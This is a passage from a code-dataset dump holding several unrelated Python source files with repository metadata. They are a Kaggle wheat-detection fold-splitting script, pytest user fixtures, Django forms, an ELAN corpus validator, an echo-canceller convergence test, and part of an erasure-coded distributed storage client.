orig_df['source'].apply(lambda x: x.split('_')[0])\n\norig_df['combined_src'].hist()\n\norig_df['combined_src'].value_counts()\ndf = orig_df.copy()\n\n\n\nbboxs = np.stack(df['bbox'].apply(lambda x: np.fromstring(x[1:-1], sep=',')))\n\nfor i, column in enumerate(['x', 'y', 'w', 'h']):\n\n df[column] = bboxs[:,i]\n\n \n\ndf.drop(columns=['bbox'], inplace=True)\n\ndf['x_center'] = df['x'] + df['w']/2\n\ndf['y_center'] = df['y'] + df['h']/2\n\ndf['classes'] = 0\n\n\n\nindex = list(set(df.image_id))\n\n\n\ndf.head()\nfrom sklearn.model_selection import train_test_split, GroupKFold\n\nfolds_info = []\n\n\n\nfor fold_idx, (train_idx, valid_idx) in enumerate(GroupKFold(4).split(df, groups=df.combined_src)):\n\n train_df = df.iloc[train_idx].reset_index(drop=True)\n\n valid_df = df.iloc[valid_idx].reset_index(drop=True)\n\n\n\n plt.figure()\n\n train_df['combined_src'].hist()\n\n valid_df['combined_src'].hist()\n\n name = \"valid_on_\" + \"_\".join(list(set(valid_df['combined_src'])))\n\n plt.title(name)\n\n\n\n print(name, train_idx.shape, valid_idx.shape, f\"ratio: {valid_idx.shape[0] / train_idx.shape[0] * 100:.2f}\")\n\n folds_info.append(\n\n [train_df, valid_df, name]\n\n )\n\n # break\ndisplay_all_locations()\ndef dump(mdf, labels_path, images_path):\n\n\n\n for img_idx, mini in tqdm(mdf.groupby('image_id')):\n\n img_loc = f'{img_path}/{img_idx}.jpg'\n\n\n\n shutil.copy(\n\n img_loc,\n\n f'{images_path}/{img_idx}.jpg'\n\n )\n\n \n\n with open(f'{labels_path}/{img_idx}.txt', 'w+') as f:\n\n row = mini[['classes','x_center','y_center','w','h']].astype(float).values\n\n row = row/1024\n\n row = row.astype(str)\n\n for j in range(len(row)):\n\n text = ' '.join(row[j])\n\n f.write(text)\n\n f.write(\"\\n\")\n\n # break\ndef save(train_df, valid_df, savename):\n\n outpath = \"/kaggle/working/files/\"\n\n train_path_labels = f'{outpath}/train/labels/'\n\n train_path_images = f'{outpath}/train/images/'\n\n valid_path_labels = f'{outpath}/valid/labels/'\n\n valid_path_images = f'{outpath}/valid/images/'\n\n\n\n for p in [train_path_labels, train_path_images, valid_path_labels, valid_path_images]:\n\n os.makedirs(p, exist_ok=True)\n\n \n\n dump(train_df, train_path_labels, train_path_images)\n\n dump(valid_df, valid_path_labels, valid_path_images)\n\n \n\n os.system(f'zip -rmq {savename}.zip files')\n\n\n\nfor (train_df, valid_df, savename) in folds_info:\n\n save(train_df, valid_df, savename)\n","repo_name":"aorursy/new-nb-5","sub_path":"mightyrains_wheat-eda-location-wise-split.py","file_name":"mightyrains_wheat-eda-location-wise-split.py","file_ext":"py","file_size_in_byte":4355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12220570874","text":"import pytest\n\nfrom common.testing import get_test_app, OrgMephiTestingClient, reset_db, test_image\n\nfrom aggregate import module\nprint(__package__)\n# noinspection DuplicatedCode\ntest_app = get_test_app(module)\n\n\ndef _generate_user():\n from user.models import init_user, UserTypeEnum, UserRoleEnum\n import datetime\n password_hash = test_app.password_policy.hash_password('test-password', False)\n user = init_user('test', password_hash, UserRoleEnum.unconfirmed, UserTypeEnum.internal)\n user.password_changed = datetime.datetime.utcnow() - datetime.timedelta(minutes=5)\n test_app.db.session.add(user)\n test_app.db.session.commit()\n return user\n\n\n@pytest.fixture\ndef test_user():\n yield _generate_user()\n\n\n@pytest.fixture\ndef test_user_admin():\n from user.models import UserTypeEnum, UserRoleEnum\n user = _generate_user()\n user.username = 'admin'\n user.role = UserRoleEnum.admin\n user.type = UserTypeEnum.internal\n user.user_info.email = 'admin@example.org'\n test_app.db.session.commit()\n yield user\n\n\n@pytest.fixture\ndef test_user_creator():\n from user.models import UserTypeEnum, UserRoleEnum\n user = _generate_user()\n user.username = 'creator'\n user.role = UserRoleEnum.creator\n user.type = UserTypeEnum.internal\n user.user_info.email = 'creator@example.org'\n test_app.db.session.commit()\n yield user\n\n\n@pytest.fixture\ndef test_user_school():\n from user.models import UserTypeEnum, UserRoleEnum\n user = _generate_user()\n user.username = 'school'\n user.role = UserRoleEnum.participant\n user.type = UserTypeEnum.school\n user.user_info.email = 'school@example.org'\n test_app.db.session.commit()\n yield user\n\n\n@pytest.fixture\ndef test_user_university():\n from user.models import UserTypeEnum, UserRoleEnum\n user = _generate_user()\n user.username = 'university'\n user.role = UserRoleEnum.participant\n user.type = UserTypeEnum.university\n user.user_info.email = 'university@example.org'\n test_app.db.session.commit()\n yield user\n\n\n@pytest.fixture\ndef test_user_unconfirmed():\n from user.models import UserTypeEnum, UserRoleEnum\n user = _generate_user()\n user.username = 'unconfirmed'\n user.role = UserRoleEnum.unconfirmed\n user.type = UserTypeEnum.school\n user.user_info.email = 'unconfirmed@example.org'\n test_app.db.session.commit()\n yield user\n\n\n@pytest.fixture\ndef test_users(test_user_admin, test_user_creator, test_user_school, test_user_university, test_user_unconfirmed):\n yield [test_user_admin, test_user_creator, test_user_school, test_user_university, test_user_unconfirmed]\n\n\n@pytest.fixture\ndef client_visitor():\n reset_db(test_app)\n with test_app.app.test_client() as client:\n yield OrgMephiTestingClient(client)\n\n\ndef _generate_client(client, user):\n client.fake_login(username=user.username, role=user.role.value, user_id=user.id)\n return client\n\n\n@pytest.fixture\ndef client_admin(client_visitor, test_user_admin):\n yield _generate_client(client_visitor, test_user_admin)\n\n\n@pytest.fixture\ndef client_creator(client_visitor, test_user_creator):\n yield _generate_client(client_visitor, test_user_creator)\n\n\n@pytest.fixture\ndef client_school(client_visitor, test_user_school):\n yield _generate_client(client_visitor, test_user_school)\n\n\n@pytest.fixture\ndef client_university(client_visitor, test_user_university):\n yield _generate_client(client_visitor, test_user_university)\n","repo_name":"Nanotech2023/orgmephi-2.0","sub_path":"backend/test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"18974934915","text":"from django import forms\nfrom models import *\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n model = Comment\n exclude = ('profile_user', 'path', 'likers', 'date_time')\n fields = ['text']\n widgets = {\n 'text': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Leave a Comment'})\n }\n\nclass SearchForm(forms.Form):\n text = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder':'Search for a Language, User, or Repo at your Difficulty Level - ex) \\'java easy\\''}))\n types = forms.ChoiceField(choices=(('Lang', 'Languages'),('Repo','Repository'),('User','User')))\n","repo_name":"nshoemaker/CodeBook","sub_path":"finalproj/codebook/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"22562598591","text":"\n# coding: utf-8\n\n# In[10]:\n\n\nfrom lxml import etree\nimport xml.etree.ElementTree as ET\nimport os\nimport pandas as pd \n\n\n# * правильно ли названы все слои (**done** *только если слоев столько же, сколько в шаблоне --- ето исправим попозже*)\n# * совпадают ли спикеры со спикерами в мете для данного файла **done**\n# * все ли файлы, указанные в метаданных, есть среди наших данных? **done** + больше или меньше **done**\n# * все ли глоссы указаны в файле с глоссами?\n# * правильная ли иерархия в элановском файле? (**done** *только если слоев столько же, сколько в шаблоне --- ето исправим попозже*)\n# * правильные ли типы слоев? (**done** *только если слоев столько же, сколько в шаблоне --- ето исправим попозже*)\n# * все ли поля в метаданных указаны правильно?\n# \n# если аудио корпус:\n# * есть ли звуковые данные для всех файлов?\n# * входит ли длительность всей разметки в длительность звукового файла?\n\n# In[11]:\n\n\n#download meta data\nmeta = pd.read_csv('meta.csv')\n\n\n# In[12]:\n\n\n#download template data\ntemplate = pd.read_csv('tier_template.csv')\n\n\n# In[13]:\n\n\ndef get_eafData(root):\n res = []\n for child in root:\n if child.tag == 'TIER':\n tier_name = child.attrib.get(\"TIER_ID\")\n print \n tier_arr = tier_name.split('-')\n i = 0\n for el in tier_arr[0].split('_'):\n tier_arr.insert(i, el)\n i += 1\n tier_arr.remove(tier_arr[2])\n tier_arr.append(child.attrib.get(\"LINGUISTIC_TYPE_REF\"))\n parent = child.attrib.get(\"PARENT_REF\")\n if parent != None:\n tier_arr.append(parent.split('-')[0].split('_')[1])\n else:\n tier_arr.append('None')\n res.append(tier_arr)\n return res\n\n\n# In[14]:\n\n\n# how many speakers in the file\ndef n_speakers(data):\n n_speakers = len(data)/6\n if n_speakers == 1:\n return [[0,6]]\n if n_speakers == 2:\n return [[0,6], [6,12]]\n if n_speakers == 3:\n return [[0,6], [6,12], [12,18]]\n\n\n# In[15]:\n\n\n# check the names of the layers\ndef is_names(eaf_df):\n for index in n_speakers(eaf_df):\n i, j = index\n speaker = [i for i in set(eaf_df[i:j:]['speaker'])]\n if sorted((eaf_df.tier_name[i:j:]+'-'+eaf_df.flex_type[i:j:]).tolist()) != sorted((template.tier_name +'-'+ template.flex_type).tolist()):\n raise Exception(\"The tier names in the elan file (for speaker \" + ''.join(speaker) + \") does not match the tier names in the template (tier_name and flex_type fields).\")\n\n\n# In[16]:\n\n\n# check the types of the layers\ndef is_types(eaf_df):\n for index in n_speakers(eaf_df):\n i, j = index\n speaker = [i for i in set(eaf_df[i:j:]['speaker'])]\n if sorted((eaf_df.tier_name[i:j:]+'-'+eaf_df.tier_type[i:j:]).tolist()) != sorted((template.tier_name +'-'+ template.tier_type).tolist()):\n raise Exception(\"The tier types in the elan file (for speaker \" + ''.join(speaker) + \") does not match the tier types in the template (tier_type field).\")\n\n\n# In[17]:\n\n\n# checking the hierarchy of tiers\ndef is_hierarchy(eaf_df):\n for index in n_speakers(eaf_df):\n i, j = index\n speaker = [i for i in set(eaf_df[i:j:]['speaker'])]\n if sorted((eaf_df.tier_name[i:j:]+'-'+eaf_df.parent_tier[i:j:]).tolist()) != sorted((template.tier_name +'-'+ template.parent_tier).tolist()):\n raise Exception(\"tiers hierarchy in the elan file (for speaker \" + ''.join(speaker) + \") does not match the tiers hierarchy in the template (parent_tier field).\")\n\n\n# In[33]:\n\n\n# looking for all elan and wav files in data folder\ndef wavs_eafs():\n file_names = os.listdir('./data')\n eafs = []\n wavs = []\n for file in file_names:\n if '.eaf' in file:\n eafs.append(file)\n if '.wav' in file:\n wavs.append(file)\n return eafs, wavs\n\n\n# In[19]:\n\n\n# checking .eaf file names and file names in the meta.csv\ndef is_file_title(eafs):\n if len(set(meta.file_title.tolist())) < len(eafs):\n raise Exception(\"You did not specify all the .eaf files in the meta.csv.\")\n if len(set(meta.file_title.tolist())) > len(eafs):\n raise Exception(\"You have fewer files than you specified in the meta.csv.\")\n if sorted(set(meta.file_title.tolist())) != sorted(eafs):\n raise Exception(\"The names of the .eaf files do not match the file names in the meta.csv.\")\n\n\n# In[20]:\n\n\n# checking names of the speakers in eaf files and in the mata.csv\ndef is_speaker_id(eaf_df, filename):\n meta_spiakers = (meta['speaker_id'].loc[meta['file_title'] == filename]).tolist()\n eaf_speakers = [i for i in set(eaf_df['speaker'])]\n if sorted(meta_spiakers) != sorted(eaf_speakers):\n raise Exception(\"The names of the speakers in the \" + filename + \" and in the metadata do not match.\")\n\n\n# In[31]:\n\n\ndef main():\n for eaf in eafs:\n tree = ET.parse('./data/' + eaf)\n root = tree.getroot()\n eaf_df = pd.DataFrame(get_eafData(root), columns=['speaker', 'tier_name', 'flex_type', 'lang', 'tier_type', 'parent_tier'])\n is_speaker_id(eaf_df, eaf)\n is_file_title(eafs)\n is_hierarchy(eaf_df)\n is_types(eaf_df)\n is_names(eaf_df)\n\n\n# In[32]:\n\n\neafs, wavs = wavs_eafs()\nmain()\n\n","repo_name":"melanoya/Linguistic_Corpora","sub_path":"validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"20660677303","text":"import os\nfrom pathlib import Path\n\nhydra_audio_path = os.environ.get('hydra_audio_PATH', '~/hydra_audio')\n\nimport numpy as np\nimport scipy.io.wavfile\n\nimport soundfile as sf\nimport audio_wav_utils as awu\n\nfrom common_utils import json_to_dict\nimport wav_test_functions as wtf\nimport run_xc\nimport configparser\nparser = configparser.ConfigParser()\nparser.read(\"parameters.cfg\")\nfilter_dir = parser.get(\"Folders\", \"filter_dir\")\n\nimport pytest\n\n\n@pytest.mark.parametrize(\"adapt_config\", ['AEC_ADAPTION_FORCE_ON', 'AEC_ADAPTION_AUTO'])\n@pytest.mark.parametrize(\"channel_count\", [1, 2])\ndef test_pink_convergence(adapt_config, channel_count):\n ''' test_pink_convergence - run mono/stereo pink noise convolved with a modelled impulse response\n check that the output has some attenuation and AEC filter does not have any discontinuities \n and converges quickly, with and without a variable mu.\n \n pass/fail: check there is at least 10 dB of attenuation\n pass/fail: check the samples at frame edges are a similar magnitude to the sample in frame middle\n pass/fail: check the convergence rate over the first 2 seconds is greater than 10 dB/s\n pass/fail: check there is at least 35 dB maximum attenuation'''\n\n fs = 16000\n N = fs * 10\n testname = f\"{(Path(__file__).stem)[5:]}_{adapt_config}_{channel_count}\"\n\n phases = 10 # aec_parameters['phases']\n frame_advance = 240 # aec_parameters['frame_advance']\n fN = phases * frame_advance\n\n filename = \"003_rick_mono\"\n filepath = Path(hydra_audio_path, \"acoustic_team_test_audio\", \"playback_audio\", filename + \".wav\")\n x, fs2 = sf.read(filepath)\n assert fs==fs2\n if x.ndim == 1:\n x = x[:, np.newaxis]\n if x.shape[1] < channel_count:\n # if we have a mono signal, take different time slices for different channels\n if x.shape[1] == 1:\n xo = x[:N]\n for ch in range(1, channel_count):\n xo = np.concatenate((xo[:N, :], x[ch*N:(ch+1)*N]), axis=1)\n x = xo\n else:\n x = np.tile(x, (1, channel_count // x.shape[1] + 1))\n x = x[:N, :channel_count]\n y = np.zeros((N, channel_count)) # microphone signal\n\n # load impulse response\n filename1 = \"000_LAB_XTS_DUTL_fs16kHz\"\n filename2 = \"001_LAB_XTS_DUTR_fs16kHz\"\n\n filepath = Path(hydra_audio_path, \"acoustic_team_test_audio\", \"impulse\", filename1 + \".npy\")\n h1 = np.load(filepath)\n hN = h1.shape[0]\n\n if channel_count == 1:\n h = h1[:, 0]\n y = np.atleast_2d(np.convolve(h, x[:,0], 'full')[:N]).T\n if channel_count == 2:\n filepath = Path(hydra_audio_path, \"acoustic_team_test_audio\", \"impulse\", filename2 + \".npy\")\n h2 = np.load(filepath)\n for n in range(channel_count):\n y[:,0] += np.convolve(h1[:,n],x[:, n], 'full')[:N]\n y[:,1] += np.convolve(h2[:,n],x[:, n], 'full')[:N]\n elif channel_count > 2:\n assert False\n\n # run AEC\n in_data = np.concatenate((y, x), axis=1).T\n nFrames = (N-hN-1) // frame_advance -1\n in_data_32bit = (np.asarray(in_data * np.iinfo(np.int32).max, dtype=np.int32)).T\n \n #run XC\n print(\"Run AEC XC\")\n filter_td_file = f\"{filter_dir}/{testname}_h_td_xc.npy\"\n filter_fd_file = f\"{filter_dir}/{testname}_H_fd_xc.npy\"\n dut_input_file, dut_output_file = run_xc.run_aec_xc(in_data_32bit[:,:channel_count], in_data_32bit[:,channel_count:], f\"{testname}\", adapt=nFrames, h_hat_dump=filter_fd_file, adapt_mode=run_xc.adapt_mode_dict[adapt_config], num_y_channels=channel_count, num_x_channels=channel_count)\n rate, output_wav_file = scipy.io.wavfile.read(dut_output_file, 'r')\n error = output_wav_file \n _, leq_error = wtf.leq_smooth(error[:, 0], fs, 0.05)\n time = np.arange(len(leq_error))*0.05\n Hxmos = run_xc.get_h_hat(filter_fd_file, 'xc')[0,0]\n print('Hxmos.shape = ',Hxmos.shape)\n h = np.fft.irfft(Hxmos)\n hxmos = np.zeros(frame_advance*phases)\n for p in range(phases):\n hxmos[p*frame_advance: frame_advance*(p+1)] = h[p, :frame_advance]\n np.save(filter_td_file, hxmos)\n\n disco_res = wtf.disco_check(hxmos, phases, frame_advance)\n convergence_rate = wtf.calc_convergence_rate(time, leq_error)\n time_20dB = wtf.calc_attenuation_time(time, leq_error, -20)\n time_30dB = wtf.calc_attenuation_time(time, leq_error, -30)\n time_40dB = wtf.calc_attenuation_time(time, leq_error, -40)\n max_atten = wtf.calc_max_attenuation(leq_error)\n assert disco_res\n assert max_atten < -40\n assert convergence_rate > 12\n\n # plot\n if __name__ == \"__main__\":\n import matplotlib.pyplot as plt\n plt.figure()\n plt.title(\"%s input signal, %s\"%(filename, adapt_config))\n plt.plot(time, leq_error - leq_error[0])\n plt.xlabel(\"Time (s)\")\n plt.ylabel(\"Attenuation (dB)\")\n plt.ylim([-40, 10])\n plt.xlim([0, time[-1]])\n #plt.show()\n\n\nif __name__ == \"__main__\":\n test_pink_convergence('AEC_ADAPTION_AUTO', 1)\n","repo_name":"xmos/fwk_voice","sub_path":"test/lib_aec/test_aec_enhancements/test_rick_convergence.py","file_name":"test_rick_convergence.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"} +{"seq_id":"6062816466","text":"from lamport_timestamp import Timestamp\n\nimport struct\nimport hashlib\nimport threading\nimport json\nimport socket\nimport copy\nfrom placement_policy import PlacementFactory\nfrom protocol_interface import ProtocolInterface\nfrom pyeclib.ec_iface import ECDriver\nimport time\nimport sys\n\n#ata for logging\nimport logging\n#from logging import StreamHandler\n#import logstash\n\n\nclass CAS_Client(ProtocolInterface):\n def __init__(self, properties, local_datacenter_id, data_center, client_id):\n self.timeout_per_request = int(properties[\"timeout_per_request\"])\n ##########################\n ## Quorum relevant properties\n ## Q1 + Q3 > N\n ## Q1 + Q4 > N\n ## Q2 + Q4 >= N+k\n ## Q4 >= k\n ##########################\n\n # https://github.com/openstack/pyeclib . Check out the supported types.\n #TODO: us class for different groups where ecdriver is intilizied per group\n self.ec_type = \"liberasurecode_rs_vand\"\n\n # Generic timeout for everything\n self.timeout = int(properties[\"timeout_per_request\"])\n self.data_center = data_center\n self.id = client_id\n self.local_datacenter_id = local_datacenter_id\n self.current_class = \"Viveck_1\"\n self.encoding_byte = \"latin-1\"\n\n latency_log_file_name = \"individual_times_\" + str(self.id) + \".txt\"\n socket_log_file_name = \"socket_times_\" + str(self.id) + \".txt\"\n coding_log_file_name = \"coding_times_\" + str(self.id) + \".txt\"\n self.latency_log = open(\"cas_latency.log\", \"w\")\n self.socket_log = open(\"cas_socket.log\", \"w\")\n self.coding_log = open(\"cas_coding.log\", \"w\")\n self.lock_latency_log = threading.Lock()\n self.lock_socket_log = threading.Lock()\n self.lock_coding_log = threading.Lock()\n\n\n def _get_cost_effective_server_list(self, server_list):\n # Sort the DCs as per the minimal cost of data trasnfer for get\n # Returns [(DC_ID, SERVER_ID), ]\n output = []\n for data_center_id in self.dc_cost:\n if data_center_id in server_list:\n output.append((data_center_id, server_list[data_center_id]))\n\n return output\n\n\n def recvall(self, sock):\n fragments = []\n while True:\n chunck = sock.recv(64000)\n if not chunck:\n break\n fragments.append(chunck)\n\n return b''.join(fragments)\n\n\n def _get_closest_servers(self, server_list, quorum_size):\n # Select the DC and servers with minimal latencies for the quourm\n total_servers = 0\n expected_server_list = {}\n\n for data_center_id in self.latency_delay:\n if data_center_id in server_list:\n expected_server_list[data_center_id] = server_list[data_center_id]\n total_servers += len(server_list[data_center_id])\n\n if total_servers == quorum_size:\n break\n # We want exact number of servers quorum size Q1\n elif total_servers > quorum_size:\n expected_server_list[data_center_id] = \\\n server_list[data_center_id][:total_servers - quorum_size]\n break\n\n return expected_server_list\n\n\n def _get_timestamp(self, key, sem, server, output, socket_times, lock, current_class, delay=0):\n #time.sleep(delay * 0.001)\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n start_time = time.time()\n sock.connect((server[\"host\"], int(server[\"port\"])))\n end_time = time.time()\n\n self.lock_socket_log.acquire()\n delta_time = int((end_time - start_time)*1000)\n socket_time = delta_time\n self.socket_log.write(server[\"host\"] + \":\" + str(delta_time) + \"\\n\")\n self.socket_log.flush()\n self.lock_socket_log.release()\n\n\n data = {\"method\": \"get_timestamp\",\n \"key\": key,\n \"class\": current_class}\n data_to_send = \"get_timestamp\" + \"+:--:+\" + key + \"+:--:+\" + current_class\n self.send_msg(sock, data_to_send.encode(self.encoding_byte))\n #sock.sendall(json.dumps(data).encode(\"utf-8\"))\n sock.settimeout(self.timeout_per_request)\n\n try:\n data = sock.recv(640000)\n sock.close()\n except Exception as e:\n print(\"Server with host: {1} and port: {2} timeout for getTimestamp in ABD\", (server[\"host\"],\n server[\"port\"]))\n else:\n data = json.loads(data.decode(self.encoding_byte))\n lock.acquire()\n output.append(data[\"timestamp\"])\n socket_times.append(socket_time)\n lock.release()\n\n try:\n sem.wait()\n except threading.BrokenBarrierError:\n pass\n\n return\n\n\n def get_timestamp(self, key, datacenter_list):\n # Step 1 : getting the timestamp\n \n sem = threading.Barrier(len(datacenter_list) + 1, timeout=self.timeout)\n lock = threading.Lock()\n thread_list = []\n\n output = []\n socket_times = []\n for data_center_id in datacenter_list:\n #TODO: assume single server in every datacenter\n for server_id in [\"1\"]:\n server_info = self.data_center.get_server_info(data_center_id, server_id)\n thread_list.append(threading.Thread(target=self._get_timestamp,\n args=(key,\n sem,\n copy.deepcopy(server_info),\n output,\n socket_times,\n lock,\n self.current_class)))\n thread_list[-1].deamon = True\n thread_list[-1].start()\n\n try:\n sem.wait()\n except threading.BrokenBarrierError:\n pass\n\n # Removing barrier for all the waiting threads\n sem.abort()\n\n lock.acquire()\n if (len(output) < len(datacenter_list)):\n lock.release()\n raise Exception(\"Timeout during timestamps\")\n timestamp = Timestamp.get_max_timestamp(output)\n lock.release()\n \n return timestamp, socket_times\n\n\n def send_msg(self, sock, msg):\n # Prefix each message with a 4-byte length (network byte order)\n msg = struct.pack('>I', len(msg)) + msg\n sock.sendall(msg)\n\n\n def _put(self, key, value, timestamp, sem, server, output, socket_times, lock, delay=0):\n #time.sleep(delay * 0.001)\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n start_time = time.time()\n sock.connect((server[\"host\"], int(server[\"port\"])))\n end_time = time.time()\n self.lock_socket_log.acquire()\n delta_time = int((end_time - start_time)*1000)\n socket_time = delta_time\n self.socket_log.write(server[\"host\"] + \":\" + str(delta_time) + \"\\n\")\n self.lock_socket_log.release()\n\n data_to_put = \"put\" + \"+:--:+\" + key + \"+:--:+\" + value + \"+:--:+\" + timestamp + \"+:--:+\" + self.current_class\n self.send_msg(sock, data_to_put.encode(self.encoding_byte))\n #sock.sendall(data.encode(\"utf-8\"))\n sock.settimeout(self.timeout_per_request)\n\n try:\n data = sock.recv(640000)\n # sock.close()\n except Exception as e:\n print(\"Server with host: {1} and port: {2} timeout for put request in Viceck_1\", (server[\"host\"],\n server[\"port\"]))\n else:\n data = json.loads(data.decode(self.encoding_byte))\n lock.acquire()\n output.append(data)\n socket_times.append(socket_time)\n lock.release()\n\n try:\n sem.wait()\n except threading.BrokenBarrierError:\n pass\n\n return\n\n\n def _put_fin(self, key, timestamp, sem, server, output, socket_times, lock, delay=0):\n # TODO : Generic function to send all get put request rather than different for all\n #time.sleep(delay * 0.001)\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n start_time = time.time()\n sock.connect((server[\"host\"], int(server[\"port\"])))\n end_time = time.time()\n\n self.lock_socket_log.acquire()\n delta_time = int((end_time - start_time)*1000)\n socket_time = delta_time\n self.socket_log.write(server[\"host\"] + \":\" + str(delta_time) + \"\\n\")\n # self.socket_log.flush()\n self.lock_socket_log.release()\n\n data_to_send = \"put_fin\" + \"+:--:+\" + key + \"+:--:+\" + timestamp + \"+:--:+\" + self.current_class\n\n self.send_msg(sock, data_to_send.encode(self.encoding_byte))\n #sock.sendall(data.encode(\"utf-8\"))\n sock.settimeout(self.timeout_per_request)\n\n try:\n data = sock.recv(640000)\n sock.close()\n except Exception as e:\n print(\"Server with host: {1} and port: {2} timeout for put fin request in Viveck\",\n (server[\"host\"], server[\"port\"]))\n else:\n data = json.loads(data.decode(self.encoding_byte))\n lock.acquire()\n output.append(data)\n socket_times.append(socket_time)\n lock.release()\n\n try:\n sem.wait()\n except threading.BrokenBarrierError:\n pass\n\n return\n\n\n def put(self, key, value, placement, insert=False):\n\n q1_dc_list = placement[\"Q1\"]\n q2_dc_list = placement[\"Q2\"]\n q3_dc_list = placement[\"Q3\"]\n q4_dc_list = placement[\"Q4\"]\n k = placement[\"k\"]\n m = placement[\"m\"]\n\n # Step1 : Concurrently encode while getting the latest timestamp from the servers\n codes = []\n thread_list = []\n erasure_coding_thread = threading.Thread(target=self.encode, args=(value, codes, m, k))\n erasure_coding_thread.deamon = True\n erasure_coding_thread.start()\n\n\n datacenters_list = list(set(q1_dc_list) | set(q2_dc_list) | set(q3_dc_list) | set(q4_dc_list))\n\n\n\n # If INSERT that means first time else Step1 i.e. get_timestamp from servers with the key\n if insert:\n \n timestamp = Timestamp.create_new_timestamp(self.id)\n '''\n if self.manual_servers and self.placement_policy.__name__ == \"Manual\":\n server_list = self.manual_servers\n else:\n server_list = self.placement_policy.get_dc(self.total_nodes,\n self.data_center.get_datacenter_list(),\n self.local_datacenter_id,\n key)\n '''\n else:\n try:\n # Unlike in ABD, here it returns the current timestamp\n start_time = time.time()\n timestamp, socket_times = self.get_timestamp(key, q2_dc_list)\n timestamp = Timestamp.increment_timestamp(timestamp, self.id)\n end_time = time.time()\n\n self.lock_latency_log.acquire()\n max_socket_time = max(socket_times)\n delta_time = int((end_time - start_time)*1000)\n q1_time = delta_time - max_socket_time\n self.latency_log.write(\"put:Q1:\" + str(q1_time) + \"\\n\")\n self.lock_latency_log.release()\n except Exception as e:\n return {\"status\": \"TimeOut\", \"message\": \"Timeout during get timestamp call of Viveck_1\"}\n\n\n # Wait for erasure coding to finish\n erasure_coding_thread.join()\n\n # Step2 : Send the message with codes\n sem = threading.Barrier(len(q2_dc_list) + 1, timeout=self.timeout)\n lock = threading.Lock()\n\n output = []\n socket_times = []\n\n index = 0\n \n\n # Still sending to all for the request but wait for only required quorum to respond.\n # If needed ping to only required quorum and then retry\n start_time = time.time()\n for data_center_id in q2_dc_list:\n #TODO: for now assume single server on every datacenter\n for server_id in [\"1\"]:\n server_info = self.data_center.get_server_info(data_center_id, server_id)\n thread_list.append(threading.Thread(target=self._put,\n args=(key,\n codes[index],\n timestamp,\n sem,\n copy.deepcopy(server_info),\n output,\n socket_times,\n lock)))\n thread_list[-1].deamon = True\n thread_list[-1].start()\n\n index += 1\n\n try:\n sem.wait()\n except threading.BrokenBarrierError:\n pass\n end_time = time.time()\n self.lock_latency_log.acquire()\n max_socket_time = max(socket_times)\n delta_time = int((end_time - start_time)*1000)\n q2_time = delta_time - max_socket_time\n self.latency_log.write(\"put:Q2:\" + str(q2_time) + \"\\n\")\n self.lock_latency_log.release()\n # Removing barrier for all the waiting threads\n sem.abort()\n\n lock.acquire()\n if (len(output) < len(q2_dc_list)):\n lock.release()\n return {\"status\": \"TimeOut\", \"message\": \"Timeout during put code call of Viceck_1\"}\n\n lock.release()\n\n # Step3: Send the fin label to all servers\n output = []\n socket_times = []\n sem_1 = threading.Barrier(len(q3_dc_list) + 1, timeout=self.timeout)\n lock = threading.Lock()\n\n start_time = time.time()\n for data_center_id in q3_dc_list:\n #TODO: assume single server in every datacenter\n for server_id in [\"1\"]:\n server_info = self.data_center.get_server_info(data_center_id, server_id)\n thread_list.append(threading.Thread(target=self._put_fin, args=(key,\n timestamp,\n sem_1,\n copy.deepcopy(server_info),\n output,\n socket_times,\n lock)))\n\n thread_list[-1].deamon = True\n thread_list[-1].start()\n\n try:\n sem_1.wait()\n except threading.BrokenBarrierError:\n pass\n end_time = time.time()\n self.lock_latency_log.acquire()\n max_socket_time = max(socket_times)\n delta_time = int((end_time - start_time)*1000)\n q3_time = delta_time - max_socket_time\n self.latency_log.write(\"put:Q3:\" + str(q3_time) + \"\\n\")\n # self.latency_log.flush()\n self.lock_latency_log.release()\n # Removing barrier for all the waiting threads\n sem_1.abort()\n\n lock.acquire()\n if (len(output) < len(q3_dc_list)):\n lock.release()\n return {\"status\": \"TimeOut\", \"message\": \"Timeout during put fin label call of Viceck_1\"}\n lock.release()\n \n if insert:\n request_time = q2_time + q3_time\n else:\n request_time = q1_time + q2_time + q3_time\n\n return {\"status\": \"OK\", \"timestamp\": timestamp}, request_time\n\n\n def _get(self, key, timestamp, sem, server, output, socket_times, lock, delay=0, value_required=False):\n #time.sleep(delay * 0.001)\n #print(\"get_delay: \" + str(delay*0.001))\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n start_time = time.time()\n sock.connect((server[\"host\"], int(server[\"port\"])))\n end_time = time.time()\n\n self.lock_socket_log.acquire()\n delta_time = int((end_time - start_time)*1000)\n socket_time = delta_time\n self.socket_log.write(server[\"host\"] + \":\" + str(delta_time) + \"\\n\")\n # self.socket_log.flush()\n self.lock_socket_log.release()\n\n data_to_send = \"get\" + \"+:--:+\" + key + \"+:--:+\" + timestamp + \"+:--:+\" + self.current_class + \"+:--:+\" + str(value_required)\n\n self.send_msg(sock, data_to_send.encode(self.encoding_byte))\n # sock.sendall(json.dumps(data).encode(\"utf-8\"))\n sock.settimeout(self.timeout_per_request)\n\n try:\n data = self.recvall(sock)\n sock.close()\n except Exception as e:\n print(\"Server with host: {1} and port: {2} timeout for get request in ABD\", (server[\"host\"],\n server[\"port\"]))\n else:\n data = data.decode(self.encoding_byte)\n data_list = data.split(\"+:--:+\")\n\n if data_list[1] != \"None\":\n lock.acquire()\n output.append(data_list[1])\n socket_times.append(socket_time)\n lock.release()\n 